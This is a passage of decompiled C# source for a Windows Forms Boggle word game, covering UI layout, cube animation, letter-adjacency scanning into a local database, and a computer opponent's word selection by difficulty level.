this.Label7.BackColor = System.Drawing.Color.DarkGray;
this.Label7.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label7.ForeColor = System.Drawing.Color.Black;
Label label7_1 = this.Label7;
point1 = new Point(121, 230);
Point point59 = point1;
label7_1.Location = point59;
this.Label7.Name = "Label7";
Label label7_2 = this.Label7;
size1 = new Size(45, 13);
Size size59 = size1;
label7_2.Size = size59;
this.Label7.TabIndex = 76;
this.Label7.Text = "Rounds";
this.Label8.AutoSize = true;
this.Label8.BackColor = System.Drawing.Color.DarkGray;
this.Label8.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label8.ForeColor = System.Drawing.Color.Black;
Label label8_1 = this.Label8;
point1 = new Point(121, 275);
Point point60 = point1;
label8_1.Location = point60;
this.Label8.Name = "Label8";
Label label8_2 = this.Label8;
size1 = new Size(45, 13);
Size size60 = size1;
label8_2.Size = size60;
this.Label8.TabIndex = 77;
this.Label8.Text = "Rounds";
this.lblRound.AutoSize = true;
this.lblRound.BackColor = System.Drawing.Color.DarkGray;
this.lblRound.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblRound.ForeColor = System.Drawing.Color.Blue;
Label lblRound1 = this.lblRound;
point1 = new Point(599, 32);
Point point61 = point1;
lblRound1.Location = point61;
this.lblRound.Name = "lblRound";
Label lblRound2 = this.lblRound;
size1 = new Size(13, 15);
Size size61 = size1;
lblRound2.Size = size61;
this.lblRound.TabIndex = 72;
this.lblRound.Text = "0";
this.Label6.AutoSize = true;
this.Label6.BackColor = System.Drawing.Color.DarkGray;
this.Label6.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label6.ForeColor = System.Drawing.Color.Blue;
Label label6_1 = this.Label6;
point1 = new Point(543, 31);
Point point62 = point1;
label6_1.Location = point62;
this.Label6.Name = "Label6";
Label label6_2 = this.Label6;
size1 = new Size(53, 15);
Size size62 = size1;
label6_2.Size = size62;
this.Label6.TabIndex = 71;
this.Label6.Text = "Round: ";
this.BogBorder5.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder5.BorderDirection = BogBorder.Direction.Left;
BogBorder bogBorder5_1 = this.BogBorder5;
point1 = new Point(356, 44);
Point point63 = point1;
bogBorder5_1.Location = point63;
this.BogBorder5.Name = "BogBorder5";
BogBorder bogBorder5_2 = this.BogBorder5;
size1 = new Size(11, 556);
Size size63 = size1;
bogBorder5_2.Size = size63;
this.BogBorder5.TabIndex = 13;
this.BogBorder5.TabStop = false;
this.Panel3.BackColor = System.Drawing.Color.Black;
Panel panel3_1 = this.Panel3;
point1 = new Point(365, 57);
Point point64 = point1;
panel3_1.Location = point64;
this.Panel3.Name = "Panel3";
Panel panel3_2 = this.Panel3;
size1 = new Size(430, 18);
Size size64 = size1;
panel3_2.Size = size64;
this.Panel3.TabIndex = 45;
this.Panel2.BackColor = System.Drawing.Color.Black;
Panel panel2_1 = this.Panel2;
point1 = new Point(780, 72);
Point point65 = point1;
panel2_1.Location = point65;
this.Panel2.Name = "Panel2";
Panel panel2_2 = this.Panel2;
size1 = new Size(15, 100);
Size size65 = size1;
panel2_2.Size = size65;
this.Panel2.TabIndex = 44;
this.txtMain.BackColor = System.Drawing.Color.Black;
this.txtMain.BorderStyle = BorderStyle.None;
this.txtMain.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.txtMain.ForeColor = System.Drawing.Color.DodgerBlue;
RichTextBox txtMain1 = this.txtMain;
point1 = new Point(381, 75);
Point point66 = point1;
txtMain1.Location = point66;
this.txtMain.Name = "txtMain";
RichTextBox txtMain2 = this.txtMain;
size1 = new Size(399, 99);
Size size66 = size1;
txtMain2.Size = size66;
this.txtMain.TabIndex = 18;
this.txtMain.Text = "";
this.BogBorder4.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder4.BorderDirection = BogBorder.Direction.Bottom;
BogBorder bogBorder4_1 = this.BogBorder4;
point1 = new Point(367, 589);
Point point67 = point1;
bogBorder4_1.Location = point67;
this.BogBorder4.Name = "BogBorder4";
BogBorder bogBorder4_2 = this.BogBorder4;
size1 = new Size(428, 10);
Size size67 = size1;
bogBorder4_2.Size = size67;
this.BogBorder4.TabIndex = 12;
this.BogBorder4.TabStop = false;
this.BogBorder3.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder3.BorderDirection = BogBorder.Direction.Right;
BogBorder bogBorder3_1 = this.BogBorder3;
point1 = new Point(795, 47);
Point point68 = point1;
bogBorder3_1.Location = point68;
this.BogBorder3.Name = "BogBorder3";
BogBorder bogBorder3_2 = this.BogBorder3;
size1 = new Size(11, 552);
Size size68 = size1;
bogBorder3_2.Size = size68;
this.BogBorder3.TabIndex = 11;
this.BogBorder3.TabStop = false;
this.BogBorder1.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder1.BorderDirection = BogBorder.Direction.Top;
BogBorder bogBorder1_1 = this.BogBorder1;
point1 = new Point(367, 46);
Point point69 = point1;
bogBorder1_1.Location = point69;
this.BogBorder1.Name = "BogBorder1";
BogBorder bogBorder1_2 = this.BogBorder1;
size1 = new Size(428, 12);
Size size69 = size1;
bogBorder1_2.Size = size69;
this.BogBorder1.TabIndex = 9;
this.BogBorder1.TabStop = false;
this.picCubesUp.BackColor = System.Drawing.Color.Black;
PictureBox picCubesUp1 = this.picCubesUp;
point1 = new Point(365, 172);
Point point70 = point1;
picCubesUp1.Location = point70;
this.picCubesUp.Name = "picCubesUp";
PictureBox picCubesUp2 = this.picCubesUp;
size1 = new Size(430, 417);
Size size70 = size1;
picCubesUp2.Size = size70;
this.picCubesUp.TabIndex = 5;
this.picCubesUp.TabStop = false;
this.CircleLabel1.BackColor = System.Drawing.Color.LightGray;
this.CircleLabel1.CubeHighLight = System.Drawing.Color.LightGray;
this.CircleLabel1.CubeText = "W";
this.CircleLabel1.CubeTextColor = System.Drawing.Color.DarkBlue;
this.CircleLabel1.CubeTopRadius = 55L;
CircleLabel circleLabel1_1 = this.CircleLabel1;
point1 = new Point(394, 415);
Point point71 = point1;
circleLabel1_1.Location = point71;
this.CircleLabel1.Name = "CircleLabel1";
CircleLabel circleLabel1_2 = this.CircleLabel1;
size1 = new Size(55, 55);
Size size71 = size1;
circleLabel1_2.Size = size71;
this.CircleLabel1.TabIndex = 31;
this.CircleLabel1.Tag = (object) "03";
this.CircleLabel2.BackColor = System.Drawing.Color.LightGray;
this.CircleLabel2.CubeHighLight = System.Drawing.Color.LightGray;
this.CircleLabel2.CubeText = "W";
this.CircleLabel2.CubeTextColor = System.Drawing.Color.DarkBlue;
this.CircleLabel2.CubeTopRadius = 55L;
CircleLabel circleLabel2_1 = this.CircleLabel2;
point1 = new Point(398, 340);
Point point72 = point1;
circleLabel2_1.Location = point72;
this.CircleLabel2.Name = "CircleLabel2";
CircleLabel circleLabel2_2 = this.CircleLabel2;
size1 = new Size(55, 55);
Size size72 = size1;
circleLabel2_2.Size = size72;
this.CircleLabel2.TabIndex = 27;
this.CircleLabel2.Tag = (object) "02";
this.CircleLabel3.BackColor = System.Drawing.Color.LightGray;
this.CircleLabel3.CubeHighLight = System.Drawing.Color.LightGray;
this.CircleLabel3.CubeText = "W";
this.CircleLabel3.CubeTextColor = System.Drawing.Color.DarkBlue;
this.CircleLabel3.CubeTopRadius = 55L;
CircleLabel circleLabel3_1 = this.CircleLabel3;
point1 = new Point(468, 412);
Point point73 = point1;
circleLabel3_1.Location = point73;
this.CircleLabel3.Name = "CircleLabel3";
CircleLabel circleLabel3_2 = this.CircleLabel3;
size1 = new Size(55, 55);
Size size73 = size1;
circleLabel3_2.Size = size73;
this.CircleLabel3.TabIndex = 32;
this.CircleLabel3.Tag = (object) "13";
this.PictureBox1.BackColor = System.Drawing.Color.Black;
PictureBox pictureBox1_1 = this.PictureBox1;
point1 = new Point(370, 172);
Point point74 = point1;
pictureBox1_1.Location = point74;
this.PictureBox1.Name = "PictureBox1";
PictureBox pictureBox1_2 = this.PictureBox1;
size1 = new Size(430, 417);
Size size74 = size1;
pictureBox1_2.Size = size74;
this.PictureBox1.TabIndex = 5;
this.PictureBox1.TabStop = false;
size1 = new Size(5, 13);
this.AutoScaleBaseSize = size1;
this.BackColor = System.Drawing.Color.Black;
size1 = new Size(848, 646);
this.ClientSize = size1;
this.Controls.AddRange(new Control[73]
{
(Control) this.lblCompWordsCount,
(Control) this.lblHumanWordsCount,
(Control) this.Label2,
(Control) this.Label1,
(Control) this.Label8,
(Control) this.Label7,
(Control) this.Label5,
(Control) this.Label4,
(Control) this.Label3,
(Control) this.lblRound,
(Control) this.Label6,
(Control) this.BogBorder13,
(Control) this.BogBorder14,
(Control) this.BogBorder15,
(Control) this.BogBorder16,
(Control) this.lstCompFoundWords,
(Control) this.BogBorder12,
(Control) this.BogBorder11,
(Control) this.BogBorder10,
(Control) this.BogBorder9,
(Control) this.lstHumanWordsFound,
(Control) this.lblComputerRounds,
(Control) this.lblHumanRounds,
(Control) this.lblCompScore,
(Control) this.lblHumanScore,
(Control) this.txtWordFound,
(Control) this.btnScramble,
(Control) this.btnContinue,
(Control) this.btnAddWord,
(Control) this.tmrBtn4,
(Control) this.tmrBtn3,
(Control) this.tmrBtn2,
(Control) this.tmrBtn1,
(Control) this.BogBorder8,
(Control) this.BogBorder7,
(Control) this.BogBorder6,
(Control) this.BogBorder2,
(Control) this.tmrMain,
(Control) this.btnFinish,
(Control) this.BogBorder5,
(Control) this.Panel3,
(Control) this.Panel2,
(Control) this.Panel1,
(Control) this.picCubeDown,
(Control) this.lbl16,
(Control) this.lbl15,
(Control) this.lbl14,
(Control) this.lbl13,
(Control) this.lbl12,
(Control) this.lbl11,
(Control) this.lbl10,
(Control) this.lbl9,
(Control) this.lbl8,
(Control) this.lbl7,
(Control) this.lbl6,
(Control) this.lbl5,
(Control) this.lbl2,
(Control) this.lbl3,
(Control) this.lbl4,
(Control) this.lbl1,
(Control) this.txtMain,
(Control) this.BogBorder4,
(Control) this.BogBorder3,
(Control) this.BogBorder1,
(Control) this.pnlTimer,
(Control) this.picCubesUp,
(Control) this.pnlScore,
(Control) this.pnlWords,
(Control) this.CircleLabel1,
(Control) this.CircleLabel2,
(Control) this.CircleLabel3,
(Control) this.PictureBox1,
(Control) this.pnlCubes
});
this.FormBorderStyle = FormBorderStyle.FixedDialog;
this.MaximizeBox = false;
this.Menu = this.mnuMain;
this.Name = nameof (frmMain);
this.Text = "Boggle .Net";
this.ResumeLayout(false);
}
private void CubeClick(CircleLabel sender, EventArgs e)
{
VBMath.Randomize();
System.Drawing.Color color;
switch (Math.Round((double) (Conversion.Int(VBMath.Rnd() * 6f) + 1f)))
{
case 1.0:
color = System.Drawing.Color.Indigo;
break;
case 2.0:
color = System.Drawing.Color.DarkGreen;
break;
case 3.0:
color = System.Drawing.Color.Crimson;
break;
case 4.0:
color = System.Drawing.Color.Yellow;
break;
case 5.0:
color = System.Drawing.Color.DarkOrange;
break;
default:
color = System.Drawing.Color.Pink;
break;
}
if (StringType.StrCmp(modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeHighLight.ToString(), System.Drawing.Color.Aquamarine.ToString(), false) == 0)
{
modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeHighLight = System.Drawing.Color.LightGray;
modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeTextColor = System.Drawing.Color.DarkBlue;
this.ResetCubes();
}
else
{
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeDownPic = (PictureBox) null;
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
if (ObjectType.ObjTst(modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeTopRadius, (object) 55, false) != 0)
{
this.ResetCubes();
}
else
{
this.ResetCubes();
modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeDownPic = this.picCubeDown;
modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].ShowClick();
modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeHighLight = System.Drawing.Color.Aquamarine;
modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeTextColor = color;
modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeLabel.BringToFront();
}
}
}
private void ResetCubes()
{
this.picCubeDown.Visible = false;
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
if (ObjectType.ObjTst(modGlobal.myCube.CubeTopRadius, (object) 55, false) != 0)
{
modGlobal.myCube.CubeLabel.SendToBack();
modGlobal.myCube.IsBack = true;
modGlobal.myCube.CubeTopRadius = (object) 55;
}
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
modGlobal.Cubes[0].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79);
int Index1 = 1;
do
{
modGlobal.Cubes[Index1].CubeTopLeft = checked (modGlobal.Cubes[Index1 - 1].CubeTopLeft + modGlobal.Cubes[Index1 - 1].CubeTopWidth + 15L);
checked { ++Index1; }
}
while (Index1 <= 3);
modGlobal.Cubes[4].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79);
int Index2 = 5;
do
{
modGlobal.Cubes[Index2].CubeTopLeft = checked (modGlobal.Cubes[Index2 - 1].CubeTopLeft + modGlobal.Cubes[Index2 - 1].CubeTopWidth + 15L);
checked { ++Index2; }
}
while (Index2 <= 7);
modGlobal.Cubes[8].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79);
int Index3 = 9;
do
{
modGlobal.Cubes[Index3].CubeTopLeft = checked (modGlobal.Cubes[Index3 - 1].CubeTopLeft + modGlobal.Cubes[Index3 - 1].CubeTopWidth + 15L);
checked { ++Index3; }
}
while (Index3 <= 11);
modGlobal.Cubes[12].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79);
int Index4 = 13;
do
{
modGlobal.Cubes[Index4].CubeTopLeft = checked (modGlobal.Cubes[Index4 - 1].CubeTopLeft + modGlobal.Cubes[Index4 - 1].CubeTopWidth + 15L);
checked { ++Index4; }
}
while (Index4 <= 15);
int Index5 = 0;
do
{
modGlobal.Cubes[Index5].CubeTopTop = (long) checked (this.picCubesUp.Top + 69);
checked { ++Index5; }
}
while (Index5 <= 3);
int Index6 = 4;
do
{
modGlobal.Cubes[Index6].CubeTopTop = checked (modGlobal.Cubes[0].CubeTopHeight + (long) this.picCubesUp.Top + 84L);
checked { ++Index6; }
}
while (Index6 <= 7);
int Index7 = 8;
do
{
modGlobal.Cubes[Index7].CubeTopTop = checked (modGlobal.Cubes[4].CubeTopHeight + modGlobal.Cubes[4].CubeTopTop + 14L);
checked { ++Index7; }
}
while (Index7 <= 11);
int Index8 = 12;
do
{
modGlobal.Cubes[Index8].CubeTopTop = checked (modGlobal.Cubes[8].CubeTopHeight + modGlobal.Cubes[8].CubeTopTop + 14L);
checked { ++Index8; }
}
while (Index8 <= 15);
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
if (modGlobal.myCube.IsBack)
{
modGlobal.myCube.IsBack = false;
modGlobal.myCube.CubeLabel.BringToFront();
}
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
}
private void frmMain_Load(object sender, EventArgs e)
{
this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0)));
this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0)));
int num = 0;
do
{
Cube Cube = new Cube();
modGlobal.Cubes.Add(Cube);
checked { ++num; }
}
while (num <= 15);
this.FindWordsThread = new Thread(new ThreadStart(this.FindAllWords));
this.ShowWordThread = new Thread(new ThreadStart(this.ShowWord));
modGlobal.Cubes[0].CubeLabel = this.lbl1;
modGlobal.Cubes[1].CubeLabel = this.lbl2;
modGlobal.Cubes[2].CubeLabel = this.lbl3;
modGlobal.Cubes[3].CubeLabel = this.lbl4;
modGlobal.Cubes[4].CubeLabel = this.lbl5;
modGlobal.Cubes[5].CubeLabel = this.lbl6;
modGlobal.Cubes[6].CubeLabel = this.lbl7;
modGlobal.Cubes[7].CubeLabel = this.lbl8;
modGlobal.Cubes[8].CubeLabel = this.lbl9;
modGlobal.Cubes[9].CubeLabel = this.lbl10;
modGlobal.Cubes[10].CubeLabel = this.lbl11;
modGlobal.Cubes[11].CubeLabel = this.lbl12;
modGlobal.Cubes[12].CubeLabel = this.lbl13;
modGlobal.Cubes[13].CubeLabel = this.lbl14;
modGlobal.Cubes[14].CubeLabel = this.lbl15;
modGlobal.Cubes[15].CubeLabel = this.lbl16;
this.ResetCubes();
modGlobal.Cubes.CubesPicBox = this.picCubesUp;
this.ShowDisplayText("", false, false, 0);
this.ChangeMode((object) this.mnuVsMode, new EventArgs());
this.ChangeLevel((object) this.mnuLevelMedium, new EventArgs());
this.ChangeTimerInterval((object) this.mnuTmr300, new EventArgs());
this.mnuEnableWordValidation.Checked = true;
}
public void ScanLetters()
{
modGlobal.cmdBog.CommandText = "Delete From PossibleLetters";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
int num = 0;
do
{
while (true)
{
int nextLetterSquare = this.FindNextLetterSquare(num);
if (nextLetterSquare != -1)
{
modGlobal.conBoggle.Open();
modGlobal.cmdBog.CommandText = "Insert Into PossibleLetters (BaseLetterSquare,BaseLetter,FriendLetterSquare,FriendLetter) Values (" + StringType.FromInteger(num) + ",'" + modGlobal.Cubes[num].CubeLetter + "'," + StringType.FromInteger(nextLetterSquare) + ",'" + modGlobal.Cubes[nextLetterSquare].CubeLetter + "')";
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
}
else
break;
}
checked { ++num; }
}
while (num <= 15);
this.FindNextLetterSquare(-100);
}
public int FindNextLetterSquare(int LetterSquare)
{
if (this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State != (short) 1)
{
Monitor.Enter((object) this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init);
try
{
if (this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State == (short) 0)
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State = (short) 2;
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection = new bool[16, 9];
}
else if (this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State == (short) 2)
throw new IncompleteInitialization();
}
finally
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State = (short) 1;
Monitor.Exit((object) this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init);
}
}
int nextLetterSquare;
if (LetterSquare == -100)
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection = new bool[16, 9];
}
else
{
int num;
if (Strings.InStr(",0,1,2,3,7,11,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 7])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 7] = true;
num = checked (LetterSquare - 3);
}
else if (Strings.InStr(",3,7,11,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 0])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 0] = true;
num = checked (LetterSquare + 1);
}
else if (Strings.InStr(",3,7,11,15,14,13,12,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 1])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 1] = true;
num = checked (LetterSquare + 5);
}
else if (Strings.InStr(",12,13,14,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 2])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 2] = true;
num = checked (LetterSquare + 4);
}
else if (Strings.InStr(",0,4,8,12,13,14,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 3])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 3] = true;
num = checked (LetterSquare + 3);
}
else if (Strings.InStr(",0,4,8,12,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 4])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 4] = true;
num = checked (LetterSquare - 1);
}
else if (Strings.InStr(",0,4,8,12,1,2,3,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 5])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 5] = true;
num = checked (LetterSquare - 5);
}
else if (Strings.InStr(",0,1,2,3,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 6])
{
this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 6] = true;
num = checked (LetterSquare - 4);
}
else
num = -1;
nextLetterSquare = num;
}
return nextLetterSquare;
}
private void FindAllWords()
{
this.mnuEndGame.Enabled = false;
this.ScanLetters();
string Word;
this.FoundWords = modFindWords.FindWords(modFindWords.FindMode.AllWords, Word);
string sLeft;
switch (modGlobal.GameMode)
{
case modGlobal.Mode.Vs:
sLeft = "\r\nComputer: I found all my words!";
break;
}
VBMath.Randomize();
int num1;
switch (modGlobal.GameLevel)
{
case modGlobal.Level.Easy:
num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 8f) + 1f)));
break;
case modGlobal.Level.Medium:
num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 15f) + 1f)));
break;
case modGlobal.Level.Hard:
num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 30f) + 1f)));
break;
case modGlobal.Level.Impossible:
num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 5000f) + 1f)));
break;
}
if (this.FoundWords.Rows.Count > num1)
{
int num2 = num1;
int index1 = 0;
while (index1 <= num2)
{
bool flag;
while (!flag)
{
flag = true;
VBMath.Randomize();
int index2 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * (float) this.FoundWords.Rows.Count) + 0.0f)));
int num3 = Information.UBound((Array) this.WordsChosen);
int index3 = 0;
while (index3 <= num3)
{
if (ObjectType.ObjTst((object) this.WordsChosen[index3], this.FoundWords.Rows[index2][0], false) == 0)
flag = false;
checked { ++index3; }
}
}
this.WordsChosen = (string[]) Utils.CopyArray((Array) this.WordsChosen, (Array) new string[checked (index1 + 1)]);
this.WordsChosen[index1] = StringType.FromObject(this.FoundWords.Rows[index1][0]);
flag = false;
checked { ++index1; }
}
}
else
{
int num4 = checked (this.FoundWords.Rows.Count - 1);
int index = 0;
while (index <= num4)
{
this.WordsChosen = (string[]) Utils.CopyArray((Array) this.WordsChosen, (Array) new string[checked (index + 1)]);
this.WordsChosen[index] = StringType.FromObject(this.FoundWords.Rows[index][0]);
checked { ++index; }
}
}
this.lstCompFoundWords.Refresh();
if (StringType.StrCmp(sLeft, "", false) == 0)
sLeft = "\r\nComputer: I found " + StringType.FromInteger(Information.UBound((Array) this.WordsChosen)) + " words!";
this.txtMain.Text += sLeft;
this.mnuEndGame.Enabled = true;
this.btnFinish.BogButtonEnabled = true;
}
private void ShowWord()
{
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeHighLight = System.Drawing.Color.LightGray;
modGlobal.myCube.CubeTextColor = System.Drawing.Color.DarkBlue;
modGlobal.myCube.CubeDownPic = (PictureBox) null;
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
string str;
try
{
foreach (DataRow row in (InternalDataCollectionBase) this.FoundWords.Rows)
{
if (ObjectType.ObjTst(row["FoundWord"], (object) modGlobal.Cubes.WordToShow, false) == 0)
{
str = StringType.FromObject(row["FoundWordSquares"]);
break;
}
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
int num1 = Strings.Len(modGlobal.Cubes.WordToShow);
if (Strings.InStr(Strings.UCase(modGlobal.Cubes.WordToShow), "Q") != 0)
num1 = checked (Strings.Len(modGlobal.Cubes.WordToShow) - 1);
int num2 = num1;
int num3 = 1;
while (num3 <= num2)
{
int Index;
if (Strings.InStr(str, ",") == 0)
{
Index = IntegerType.FromString(str);
}
else
{
Index = IntegerType.FromString(Strings.Mid(str, 1, checked (Strings.InStr(str, ",") - 1)));
str = Strings.Mid(str, checked (Strings.InStr(str, ",") + 1));
}
modGlobal.Cubes[Index].CubeHighLight = System.Drawing.Color.Aquamarine;
modGlobal.Cubes[Index].CubeTextColor = System.Drawing.Color.Red;
this.ResetCubes();
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeDownPic = (PictureBox) null;
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
modGlobal.Cubes[Index].CubeDownPic = this.picCubeDown;
modGlobal.Cubes[Index].ShowClick();
Thread.Sleep(100);
checked { ++num3; }
}
this.ResetCubes();
modGlobal.Cubes.WordToShow = "";
}
private void picCubesUp_Paint(object sender, PaintEventArgs e) => modGlobal.Cubes.DrawCubes(e, modGlobal.Cubes.CubesState);
private void btnAddWord_Click(object sender, EventArgs e)
{
if (Strings.Len(Strings.Trim(this.txtWordFound.Text)) > 2)
{
this.lstHumanWordsFound.Items.Add((object) this.txtWordFound.Text);
this.lblHumanWordsCount.Text = StringType.FromInteger(this.lstHumanWordsFound.Items.Count);
this.txtWordFound.Text = "";
}
this.txtWordFound.Focus();
}
private void ShowText()
{
int num1;
int num2;
if (modGlobal.Cubes.DisplayTextFadeOut)
{
num1 = modGlobal.Cubes.DisplayTextMaxSize;
int num3 = checked (modGlobal.Cubes.DisplayTextMaxSize + 100);
num2 = checked ((int) Math.Round(unchecked ((double) num1 / 2.0)));
}
else
{
num1 = checked ((int) Math.Round(unchecked ((double) modGlobal.Cubes.DisplayTextMaxSize / 2.0)));
num2 = checked (num1 + 100);
}
modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Text;
int num4 = num1;
int num5 = 1;
while (num5 <= num4)
{
this.Show();
if (num5 == num2)
Thread.Sleep(1000);
this.picCubesUp.Refresh();
checked { ++num5; }
}
if (modGlobal.Cubes.DisplayTextFadeOut)
{
modGlobal.Cubes.DisplayText = "";
this.picCubesUp.Refresh();
}
if (modGlobal.Cubes.DisplayTextStartUp)
{
modGlobal.Cubes.ShowSpinStartUp();
while (modGlobal.Cubes.CubesAreSpinning)
Application.DoEvents();
this.btnScramble.BogButtonEnabled = true;
this.txtMain.Text = "5 seconds to re-scramble letters";
}
this.ShowTextThread.Suspend();
}
private void txtWordFound_KeyPress(object sender, KeyPressEventArgs e)
{
if (!(StringType.StrCmp(Strings.Mid(StringType.FromChar(e.KeyChar), 1, 3), "\r", false) == 0 & this.btnAddWord.BogButtonEnabled))
return;
this.btnAddWord_Click((object) this, new EventArgs());
}
private void tmrContMain_Tick(object sender, EventArgs e)
{
checked { ++this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024LoadWaitTime; }
if (!this.LoadTextShown & this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024LoadWaitTime == 5)
{
this.LoadTextShown = true;
this.ShowDisplayText("Welcome\r\n to\r\n Boggle", false, false, 160);
this.tmrContMain.Enabled = false;
this.mnuGame.Enabled = true;
this.mnuOptions.Enabled = true;
this.mnuHelp.Enabled = true;
OleDbCommand oleDbCommand = new OleDbCommand("Select ShowForm From ShowWelcome", modGlobal.conBoggle);
modGlobal.conBoggle.Open();
OleDbDataReader oleDbDataReader = oleDbCommand.ExecuteReader();
oleDbDataReader.Read();
if (ObjectType.ObjTst(oleDbDataReader["ShowForm"], (object) 0, false) == 0)
new frmWelcome().Show();
oleDbDataReader.Close();
modGlobal.conBoggle.Close();
}
else
{
if (!this.LoadTextShown)
return;
